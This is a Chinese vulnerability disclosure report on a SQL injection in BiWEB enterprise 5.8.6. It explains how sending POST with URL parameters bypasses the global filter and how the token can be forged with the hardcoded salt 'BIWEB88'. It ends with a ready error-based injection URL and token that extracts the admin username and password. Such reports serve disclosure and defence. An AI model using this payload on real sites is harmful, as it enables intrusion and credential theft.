### 简要描述：
BiWEB最新企业版绕过过滤注入一枚
### 详细说明：
看到pandas提交的BiWEB的漏洞 [WooYun: BIWEB企业版多处SQL注入](http://www.wooyun.org/bugs/wooyun-2014-049740) ，在search.php里找到了几个注入漏洞，我也来凑下热闹。去官网下BiWEB企业版最新的5.8.6来看看。
注入点在http://xxx.com/emaillist/cancelmail.php?u_mail=1&token=，其中u_mail=1存在注入漏洞
先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤filtrate.inc.php
```
<?php
//过滤GET或POST的值，去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>
```
这个过滤方法中，如果是POST方法就只对通过POST提交的用户数据进行过滤，GET方法同理。突然就想到一个方法，REQUEST_METHOD还是 POST，但是在url中带入用户数据（GET方法），然后程序中用$_GET数组来获取数据的话，那就可以获得通过url提交的数据，并且没有经过全局 过滤，这样就绕过了全局过滤。
在/emaillist/cancelmail.php中
```
无关代码
$objWebInit->arrGPage = $arrGPage;
$objWebInit->db();
if(!empty($_GET['u_mail']) && !empty($_GET['token'])){
if($_GET['token']==md5($_GET['u_mail'].$arrGWeb['jamstr'])){//数据匹配，则标识为退订邮件
$strWhere=" WHERE title='{$_GET['u_mail']}'";
$objWebInit->updateDataG('biweb_emaillist',array('pass'=>'7'),$strWhere);
echo "<script>alert('退订成功');window.close();</script>";exit;
}
}
无关代码
```
继续去看看updateDataG()，在/web_common5.8/php_common.php中
```
public function updateDataG($table,$arrData,$where=''){
try {
$strSQL = " UPDATE $table SET ";
foreach ($arrData as $k => $v) {
if(strpos($v,'fun(')!==false){
$v = str_ireplace('fun(','(',$v);
$strSQL .= $k."=" . $v . ",";
}else $strSQL .= $k."='" . $v . "',";
}
$strSQL = substr($strSQL, 0, -1);
$strSQL .= ' '.$where;
if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.'
';
if($result = $this->db->exec($strSQL)){
if($this->arrGPdoDB['PDO_LOGS']) check::getAPI('logs','addLog',"2^$table^$where^$strSQL");
return $result;
}
} catch (PDOException $e) {
die('Failed: ' . $e->getMessage().'
');
}
}
```
可以看出，整个过程中没有其他的过滤，只要可以绕过全局过滤，就可以注入。
在/emaillist/cancelmail.php中,要满足$_GET['token']==md5($_GET['u_mail'].$arrGWeb['jamstr'])这个条件才可以执行SQL语句，这里的$arrGWeb['jamstr']是一个全局变量，值为’BIWEB88’，因此，这里只要把$_GET['u_mail']与BIWEB88连接并取其md5值赋予token提交即可。
如果按正常的情况使用GET提交，单引号被全局过滤编码，如下：
[<img src="https://images.seebug.org/upload/201412/032343507b78f144db3a57f1412c2dbb882687ce.jpg" alt="单引号被编码副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/032343507b78f144db3a57f1412c2dbb882687ce.jpg)
把GET方法改为POST提交，成功引入单引号，如下:
[<img src="https://images.seebug.org/upload/201412/0323440779e24b7d6f03c7d88cc56420bcb51127.jpg" alt="单引号被引入副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/0323440779e24b7d6f03c7d88cc56420bcb51127.jpg)
成功注入，管理员用户名及密码如下图中所示：
[<img src="https://images.seebug.org/upload/201412/032344264222cf084401892655b56f3300191137.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/032344264222cf084401892655b56f3300191137.jpg)
payload如下（POST方法提交）
```
http://www.xxx.com/emaillist/cancelmail.php?u_mail=1'/**/or/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x23,(select/**
/concat(user_name,0x23,password,0x23)from/**/biweb_mcenter/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/
group/**/by/**/x)a)or/**/'&token=e68367f5f3a54b46938651c9afa04dcb
```
### 漏洞证明：
见 详细说明
京公网安备 11010502034610号
暂无评论